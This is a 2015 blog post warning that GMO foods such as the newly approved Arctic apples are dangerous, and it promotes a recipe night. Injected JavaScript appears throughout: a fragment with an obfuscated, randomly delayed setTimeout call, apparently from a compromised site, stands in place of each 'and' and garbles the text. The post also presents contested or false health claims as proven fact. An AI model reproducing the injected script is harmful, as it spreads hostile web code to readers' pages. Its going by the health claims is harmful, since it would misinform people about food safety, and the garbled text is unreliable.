How Harmful Are GMO Foods ?

Posted On : February 20, 2015

GMOIf are not familiar with GMO foods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how they effect your health, now is the time to educate yourself. GMO foods are beginning to pop up everywhere, with the latest new GMO food to be approved this week are apples that will not brown.

This week the NY Times reported that two variations of apples, Granny Smith andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Golden Delicious , will now be resistant from browning, bruising, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rotting. This GMO version of apples will be called Arctic apples.

So what is all the fuss of GMO? Why do most countries ban the use of genetically modified foods. while America keeps approving more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more products.

Multiple research studies have proven that GMO foods:

Destroy the lining of the gut leading to intestinal permeability, imbalanced gut bacteria, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can cause an allergic response that activates your immune system andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can lead to autoimmune disorders.

Linked To Tumor Growth In 2012, a team of scientists discovered that GMO foods in corn produced tumors in rats. This study also disclosed a practice of spraying Roundup herbicide onto the GMO crops of corn.

Glyphosate Induces Human Breast Cancer Growth Along with the use of GMO foods comes the use of pesticides to help farmers yield a larger crop. Those pesticides are now linked to being endocrine disruptors that promote the growth of breast cancer cells. Once such pesticide is Roundup which is considered a xenoestrogen which mimics real estrogen inour body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can cause an increase in various cancers, early onset of puberity, thyroid issues, infertility, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more.

The best way to know if you are eating a GMO food is to start reading labels. See the diagram below. Any fruit or vegetable that you eat that has a 5 digit code starting with an 8 is a genetically modified food.

Come to our Recipe Night, Monday February 23rd to learn more about how you can avoid these harmful foods.